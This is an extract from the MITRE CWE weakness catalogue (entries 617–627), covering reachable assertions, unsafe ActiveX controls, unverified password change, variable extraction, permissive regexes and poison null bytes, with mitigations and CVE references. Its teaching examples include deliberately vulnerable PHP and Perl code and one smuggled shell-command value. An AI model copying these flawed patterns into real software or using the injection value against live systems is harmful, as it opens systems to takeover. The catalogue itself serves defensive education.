**CWE-617: Reachable Assertion**

**Weakness ID: 617** *(Weakness Variant)*

**Status: Draft**

**Description**

**Summary**

The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.

**Extended Description**
While assertion is good for catching logic errors and reducing the chances of reaching more serious vulnerability conditions, it can still lead to a denial of service. For example, if a server handles multiple simultaneous connections, and an assert() occurs in one single connection that causes all other connections to be dropped, this is a reachable assertion that leads to a denial of service.

**Time of Introduction**

- Implementation

**Common Consequences**

**Availability**

**DoS: crash / exit / restart**

An attacker that can trigger an assert statement can still lead to a denial of service if the relevant code can be triggered by an attacker, and if the scope of the assert() extends beyond the attacker’s own session.

**Demonstrative Examples**

In the excerpt below, an AssertionError (an unchecked exception) is thrown if the user hasn’t entered an email address in an HTML form.

**Java Example:**

```java
String email = request.getParameter("email_address");
assert email != null;
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-4095</td>
<td>Product allows remote attackers to cause a denial of service (crash) via certain queries, which cause an assertion failure.</td>
</tr>
<tr>
<td>CVE-2006-4574</td>
<td>Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion.</td>
</tr>
<tr>
<td>CVE-2006-5779</td>
<td>Product allows remote attackers to cause a denial of service (daemon crash) via LDAP BIND requests with long authcid names, which triggers an assertion failure.</td>
</tr>
<tr>
<td>CVE-2006-6767</td>
<td>FTP server allows remote attackers to cause a denial of service (daemon abort) via crafted commands which trigger an assertion failure.</td>
</tr>
<tr>
<td>CVE-2006-6811</td>
<td>Chat client allows remote attackers to cause a denial of service (crash) via a long message string when connecting to a server, which causes an assertion failure.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Make sensitive open/close operation non reachable by directly user-controlled data (e.g. open/ close resources)

**Input Validation**

Perform input validation on user data.

**Weakness Ordinalities**

**Resultant (where the weakness is typically related to the presence of some other weaknesses)**

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>⚫</td>
<td>388</td>
<td>Error Handling</td>
<td>699 670</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⚫</td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>699 685</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⚫</td>
<td>670</td>
<td>Always-Incorrect Control Flow Implementation</td>
<td>1000 1040</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⚫</td>
<td>850</td>
<td>CERT Java Secure Coding Section 05 - Methods (MET)</td>
<td>844 1297</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⚫</td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888 1414</td>
</tr>
<tr>
<td>CanFollow</td>
<td>⚫</td>
<td>193</td>
<td>Off-by-one Error</td>
<td>1000 371</td>
</tr>
<tr>
<td>MemberOf</td>
<td>⚫</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884 1323</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>MET01-J</td>
<td>Never use assertions to validate method arguments</td>
</tr>
</tbody>
</table>
CWE-618: Exposed Unsafe ActiveX Method

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP3</td>
<td>Use of an improper API</td>
</tr>
</tbody>
</table>

### CWE-618: Exposed Unsafe ActiveX Method

#### Weakness ID: 618 (Weakness Base)

#### Status: Incomplete

#### Description

**Summary**

An ActiveX control is intended for use in a web browser, but it exposes dangerous methods that perform actions that are outside of the browser's security model (e.g. the zone or domain).

**Extended Description**

ActiveX controls can exercise far greater control over the operating system than typical Java or javascript. Exposed methods can be subject to various vulnerabilities, depending on the implemented behaviors of those methods, and whether input validation is performed on the provided arguments. If there is no integrity checking or origin validation, this method could be invoked by attackers.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Common Consequences

- Other
- Other

#### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-6838</td>
<td>control downloads and executes a url in a parameter</td>
</tr>
<tr>
<td>CVE-2007-0321</td>
<td>resultant buffer overflow</td>
</tr>
<tr>
<td>CVE-2007-1120</td>
<td>download a file to arbitrary folders.</td>
</tr>
</tbody>
</table>

#### Potential Mitigations

**Implementation**

If you must expose a method, make sure to perform input validation on all arguments, and protect against all possible vulnerabilities.

**Architecture and Design**

Use code signing, although this does not protect against any weaknesses that are already in the control.

**Architecture and Design**

**System Configuration**

Where possible, avoid marking the control as safe for scripting.

#### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

#### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td>C</td>
<td>100</td>
<td>Technology-Specific Input Validation Problems</td>
<td>1000 192</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>275</td>
<td>Permission Issues</td>
<td>699 489</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>749</td>
<td>Exposed Dangerous Method or Function</td>
<td>1000 1141</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>888 1387</td>
</tr>
<tr>
<td>PeerOf</td>
<td>C</td>
<td>623</td>
<td>Unsafe ActiveX Control Marked Safe For Scripting</td>
<td>1000 973</td>
</tr>
</tbody>
</table>

#### References


### CWE-619: Dangling Database Cursor (‘Cursor Injection’)
Weakness ID: 619 (Weakness Base) Status: Incomplete

Description

Summary
If a database cursor is not closed properly, then it could become accessible to other users while retaining the same privileges that were originally assigned, leaving the cursor “dangling.”

Extended Description
For example, an improper dangling cursor could arise from unhandled exceptions. The impact of the issue depends on the cursor’s role, but SQL injection attacks are commonly possible.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• SQL

Modes of Introduction
This issue is currently reported for unhandled exceptions, but it is theoretically possible any time the programmer does not close the cursor at the proper time.

Common Consequences
Confidentiality
Integrity
Read application data
Modify application data

Potential Mitigations
Implementation
Close cursors immediately after access to them is complete. Ensure that you close cursors if exceptions occur.

Background Details
A cursor is a feature in Oracle PL/SQL and other languages that provides a handle for executing and accessing the results of SQL queries.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)
This could be primary when the programmer never attempts to close the cursor when finished with it.

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td>C</td>
<td>265</td>
<td>Privilege / Sandbox Issues</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td>C</td>
<td>388</td>
<td>Error Handling</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>402</td>
<td>Transmission of Private Resources into a New Sphere ('Resource Leak')</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

References
David Litchfield. "The Oracle Hacker's Handbook".

CWE-620: Unverified Password Change

Weakness ID: 620 (Weakness Variant) Status: Draft
CWE Version 2.11
CWE-620: Unverified Password Change

Description

Summary
When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.

Extended Description
This could be used by an attacker to change passwords for another user, thus gaining the privileges associated with that user.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Access Control
Bypass protection mechanism
Gain privileges / assume identity

Demonstrative Examples
This code changes a user's password.

PHP Example:

```php
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
    setUserPassword($user, $pass);
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0944</td>
<td>Web application password change utility doesn't check the original password.</td>
</tr>
<tr>
<td>CVE-2007-0681</td>
<td>Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
When prompting for a password change, force the user to provide the original password in addition to the new password.

Architecture and Design
Do not use "forgotten password" functionality. But if you must, ensure that you are only providing information to the actual user, e.g. by using an email address or challenge question that the legitimate user already provided in the past; do not allow the current user to change this identity information until the correct password has been provided.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)
Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☒</td>
<td>255</td>
<td>Credentials Management</td>
<td>699</td>
<td>454</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☒</td>
<td>287</td>
<td>Improper Authentication</td>
<td>699</td>
<td>508</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☒</td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
<td>711</td>
<td>1120</td>
</tr>
</tbody>
</table>
CWE-621: Variable Extraction Error

Weakness ID: 621 (Weakness Base)  Status: Incomplete

Description

Summary

The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables.

Extended Description

For example, in PHP, extraction can be used to provide functionality similar to register_globals, a dangerous functionality that is frequently disabled in production systems. Calling extract() or import_request_variables() without the proper arguments could allow arbitrary global variables to be overwritten, including superglobals.

Similar functionality is possible in other interpreted languages, including custom languages.

Alternate Terms

Variable overwrite

Time of Introduction

• Implementation

Applicable Platforms

Languages

• PHP

Common Consequences

Integrity

Modify application data

An attacker could modify sensitive data or program variables.

Demonstrative Examples

This code uses the credentials sent in a POST request to login a user.

PHP Example:

```php
//Log user in, and set $isAdmin to true if user is an administrator
function login($user,$pass){
    $query = buildQuery($user,$pass);
    mysql_query($query);
    if(getUserRole($user) == "Admin"){
        $isAdmin = true;
    }
}
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));
```

The call to extract() will overwrite the existing values of any variables defined previously, in this case $isAdmin. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.
CWE Version 2.11
CWE-622: Improper Validation of Function Hook Arguments

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-2828</td>
<td>import_request_variables() buried in include files makes post-disclosure analysis confusing</td>
</tr>
<tr>
<td>CVE-2006-6661</td>
<td>extract() enables static code injection</td>
</tr>
<tr>
<td>CVE-2006-7079</td>
<td>extract used for register_globals compatibility layer, enables path traversal</td>
</tr>
<tr>
<td>CVE-2006-7135</td>
<td>extract issue enables file inclusion</td>
</tr>
<tr>
<td>CVE-2007-0649</td>
<td>extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation

Input Validation

Use whitelists of variable names that can be extracted.

Implementation

Consider refactoring your code to avoid extraction routines altogether.

Implementation

In PHP, call extract() with options such as EXTR_SKIP and EXTR_PREFIX_ALL; call import_request_variables() with a prefix argument. Note that these capabilities are not present in all PHP versions.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Status</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td>B</td>
<td>471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
<td>1000</td>
<td>793</td>
</tr>
<tr>
<td>ChildOf</td>
<td>914</td>
<td>Improper Control of Dynamically-Identified Variables</td>
<td>699</td>
<td>1341</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
<td>1392</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
<td>1323</td>
<td></td>
</tr>
</tbody>
</table>

Research Gaps

Probably under-reported for PHP. Under-studied for other interpreted languages.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

CWE-622: Improper Validation of Function Hook Arguments

Weakness ID: 622 (Weakness Variant)

Status: Draft

Description

Summary

A product adds hooks to user-accessible API functions, but does not properly validate the arguments. This could lead to resultant vulnerabilities.

Extended Description

Such hooks can be used in defensive software that runs with privileges, such as anti-virus or firewall, which hooks kernel calls. When the arguments are not validated, they could be used to bypass the protection scheme or attack the product itself.

Time of Introduction

• Implementation

Applicable Platforms

Languages

• All

Common Consequences

Integrity

Unexpected state
CWE-623: Unsafe ActiveX Control Marked Safe For Scripting

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-4541</td>
<td>DoS in IDS via NULL argument</td>
</tr>
<tr>
<td>CVE-2006-7160</td>
<td>DoS in firewall using standard Microsoft functions</td>
</tr>
<tr>
<td>CVE-2007-0708</td>
<td>DoS in firewall using standard Microsoft functions</td>
</tr>
<tr>
<td>CVE-2007-1220</td>
<td>invalid syscall arguments bypass code execution limits</td>
</tr>
<tr>
<td>CVE-2007-1376</td>
<td>function does not verify that its argument is the proper type, leading to arbitrary memory write</td>
</tr>
</tbody>
</table>

### Potential Mitigations

**Architecture and Design**

Ensure that all arguments are verified, as defined by the API you are protecting.

**Architecture and Design**

Drop privileges before invoking such functions, if possible.

### Weakness Ordinalities

**Primary** *(where the weakness exists independent of other weaknesses)*

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>991</td>
<td>SFP Secondary Cluster: Tainted Input to Environment</td>
<td>1000</td>
<td>1394</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP27</td>
<td>Tainted input to environment</td>
</tr>
</tbody>
</table>

### CWE-623: Unsafe ActiveX Control Marked Safe For Scripting

**Weakness ID: 623 (Weakness Variant)**

**Description**

**Summary**

An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting.

**Extended Description**

This might allow attackers to use dangerous functionality via a web page that accesses the control, which can lead to different resultant vulnerabilities, depending on the control’s behavior.

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences**

- Confidentiality
- Integrity
- Availability
- Execute unauthorized code or commands

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-6510</td>
<td>kiosk allows bypass to read files</td>
</tr>
<tr>
<td>CVE-2007-0219</td>
<td>web browser uses certain COM objects as ActiveX</td>
</tr>
<tr>
<td>CVE-2007-0617</td>
<td>add emails to spam whitelist</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

During development, do not mark it as safe for scripting.

**System Configuration**

After distribution, you can set the kill bit for the control so that it is not accessible from Internet Explorer.
Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🐙</td>
<td>267</td>
<td>Privilege Defined With Unsafe Actions</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>474</td>
</tr>
<tr>
<td>PeerOf</td>
<td>🐙</td>
<td>618</td>
<td>Exposed Unsafe ActiveX Method</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>968</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🐙</td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1075</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🐙</td>
<td>978</td>
<td>SFP Secondary Cluster: Implementation</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1387</td>
</tr>
</tbody>
</table>

Research Gaps

It is suspected that this is under-reported.

References

< http://support.microsoft.com/kb/240797 >.


CWE-624: Executable Regular Expression Error

Weakness ID: 624 (Weakness Base)  Status: Incomplete

Description

Summary
The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.

Extended Description
Case (2) is possible in the PHP preg_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• PHP
• Perl

Common Consequences
Confidentiality
Integrity
Availability
Execute unauthorized code or commands

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-3420</td>
<td>Executable regexp in PHP by inserting &quot;e&quot; modifier into first argument to preg_replace</td>
</tr>
<tr>
<td>CVE-2006-2059</td>
<td>Executable regexp in PHP by inserting &quot;e&quot; modifier into first argument to preg_replace</td>
</tr>
<tr>
<td>CVE-2006-2878</td>
<td>Complex curly syntax inserted into the replacement argument to PHP preg_replace(), which uses the &quot;/e&quot; modifier</td>
</tr>
<tr>
<td>CVE-2006-2908</td>
<td>Function allows remote attackers to execute arbitrary PHP code via the username field, which is used in a preg_replace function call with a /e (executable) modifier</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
The regular expression feature in some languages allows inputs to be quoted or escaped before insertion, such as \Q and \E in Perl.
CWE Version 2.11
CWE-625: Permissive Regular Expression

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>77</td>
<td>Improper Neutralization of Special Elements used in a Command ('Command Injection')</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>1000</td>
</tr>
</tbody>
</table>

Research Gaps

Under-studied. The existing PHP reports are limited to highly skilled researchers, but there are few examples for other languages. It is suspected that this is under-reported for all languages. Usability factors might make it more prevalent in PHP, but this theory has not been investigated.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

CWE-625: Permissive Regular Expression

Weakness ID: 625 (Weakness Base)

Status: Draft

Description

Summary

The product uses a regular expression that does not sufficiently restrict the set of allowed values.

Extended Description

This effectively causes the regexp to accept substrings that match the pattern, which produces a partial comparison to the target. In some cases, this can lead to other weaknesses. Common errors include:

- not identifying the beginning and end of the target string
- using wildcards instead of acceptable character ranges
- others

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Perl
- PHP

Modes of Introduction

This problem is frequently found when the regular expression is used in input validation or security features such as authentication.

Common Consequences

Access Control

Bypass protection mechanism

Demonstrative Examples

Perl Example:

```perl
$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
    # looks like it only has hyphens and digits
    system("lookup-phone $phone");
} else {
    error("malformed number!");
}
```

An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>VIM Mailing list, March 14, 2006</td>
<td></td>
</tr>
</tbody>
</table>
CWE-626: Null Byte Interaction Error (Poison Null Byte)

### Reference

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-2109</td>
<td>Regexp isn't &quot;anchored&quot; to the beginning or end, which allows spoofed values that have trusted values as substrings.</td>
</tr>
<tr>
<td>CVE-2002-2175</td>
<td>Insertion of username into regexp results in partial comparison, causing wrong database entry to be updated when one username is a substring of another.</td>
</tr>
<tr>
<td>CVE-2005-1949</td>
<td>Regexp for IP address isn't anchored at the end, allowing appending of shell metacharacters.</td>
</tr>
<tr>
<td>CVE-2006-1895</td>
<td>&quot;.*&quot; regexp leads to static code injection</td>
</tr>
<tr>
<td>CVE-2006-4527</td>
<td>Regexp intended to verify that all characters are legal, only checks that at least one is legal, enabling file inclusion.</td>
</tr>
<tr>
<td>CVE-2006-6511</td>
<td>RegExp in .htaccess file allows access of files whose names contain certain substrings.</td>
</tr>
<tr>
<td>CVE-2006-6629</td>
<td>Allow load of macro files whose names contain certain substrings.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

**Implementation**

When applicable, ensure that the regular expression marks beginning and ending string patterns, such as "/^string$/" for Perl.

### Weakness Ordinalities

**Primary** *(where the weakness exists independent of other weaknesses)*

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td>⚫</td>
<td>183</td>
<td>Permissive Whitelist</td>
<td>1000</td>
<td>CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)</td>
</tr>
<tr>
<td>PeerOf</td>
<td>⚫</td>
<td>184</td>
<td>Incomplete Blacklist</td>
<td>1000</td>
<td>Sanitize untrusted data passed to a regex</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬷</td>
<td>185</td>
<td>Incorrect Regular Expression</td>
<td>1000</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬷</td>
<td>845</td>
<td>CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)</td>
<td>1295</td>
<td>Sanitize untrusted data passed to a regex</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬷</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>1392</td>
<td>Sanitize untrusted data passed to a regex</td>
</tr>
<tr>
<td>ParentOf</td>
<td>⬷</td>
<td>777</td>
<td>Regular Expression without Anchors</td>
<td>1195</td>
<td>Sanitize untrusted data passed to a regex</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>IDS08-J</td>
<td>Sanitize untrusted data passed to a regex</td>
</tr>
</tbody>
</table>

### References


### CWE-626: Null Byte Interaction Error (Poison Null Byte)

**Weakness ID:** 626 *(Weakness Variant)*

**Status:** Draft

**Description**

**Summary**

The product does not properly handle null bytes or NUL characters when passing data between different representations or components.

**Extended Description**

A null byte (NUL character) can have different meanings across representations or languages. For example, it is a string terminator in standard C libraries, but Perl and PHP strings do not treat it as a terminator. When two representations are crossed - such as when Perl or PHP invokes underlying C functionality - this can produce an interaction error with unexpected results. Similar issues have been reported for ASP. Other interpreters written in C might also be affected.

The poison null byte is frequently useful in path traversal attacks by terminating hard-coded extensions that are added to a filename. It can play a role in regular expression processing in PHP.

**Terminology Notes**
Current usage of "poison null byte" is typically related to this C/Perl/PHP interaction error, but the original term in 1998 was applied to an off-by-one buffer overflow involving a null byte.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- PHP
- Perl
- ASP.NET

**Common Consequences**

**Integrity**
- Unexpected state

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-3153</td>
<td>inserting SQL after a NUL byte bypasses whitelist regexp, enabling SQL injection</td>
</tr>
<tr>
<td>CVE-2005-4155</td>
<td>NUL byte bypasses PHP regular expression check</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**
- Remove null bytes from all incoming strings.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>699</td>
<td>18</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>436</td>
<td>Interpretation Conflict</td>
<td>699</td>
<td>751</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
<td>1392</td>
</tr>
</tbody>
</table>

**Research Gaps**

There are not many CVE examples, because the poison NULL byte is a design limitation, which typically is not included in CVE by itself. It is typically used as a facilitator manipulation to widen the scope of potential attacks against other vulnerabilities.

**References**

Brett Moore. "0x00 vs ASP file upload scripts". &lt; http://www.security-assessment.com/Whitepapers/0x00_vs.asp/File_Uploads.pdf &gt;.
ShAnKaR. "ShAnKaR: multiple PHP application poison NULL byte vulnerability". &lt; http://seclists.org/fulldisclosure/2006/Sep/0185.html &gt;.

---

**CWE-627: Dynamic Variable Evaluation**

**Weakness ID: 627 (Weakness Base)**

**Status: Incomplete**

**Description**

**Summary**

In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.

**Extended Description**

The resultant vulnerabilities depend on the behavior of the application, both at the crossover point and in any control/data flow that is reachable by the related variables or functions.

**Alternate Terms**

DYNAMIC EVALUATION

**Time of Introduction**
- Implementation
Applicable Platforms

Languages
- PHP
- Perl

Common Consequences

Confidentiality
Integrity
Availability
Modify application data
Execute unauthorized code or commands

An attacker could gain unauthorized access to internal program variables and execute arbitrary code.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-4019</td>
<td>Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users.</td>
</tr>
<tr>
<td>CVE-2006-4904</td>
<td>Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion.</td>
</tr>
<tr>
<td>CVE-2007-2431</td>
<td>Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected $_SERVER variable for resultant XSS.</td>
</tr>
<tr>
<td>CVE-2009-0422</td>
<td>Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation

Refactoring
Refactor the code to avoid dynamic variable evaluation whenever possible.

Implementation

Input Validation

Use only whitelists of acceptable variable or function names.

Implementation

For function names, ensure that you are only calling functions that accept the proper number of arguments, to avoid unexpected null arguments.

Background Details

Many interpreted languages support the use of a "$$varname" construct to set a variable whose name is specified by the $varname variable. In PHP, these are referred to as "variable variables." Functions might also be invoked using similar syntax, such as $$funcname(arg1, arg2).

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td>183</td>
<td>Permissive Whitelist</td>
<td>1000</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>914</td>
<td>Improper Control of Dynamically-Identified Variables</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
<td></td>
</tr>
</tbody>
</table>

Research Gaps

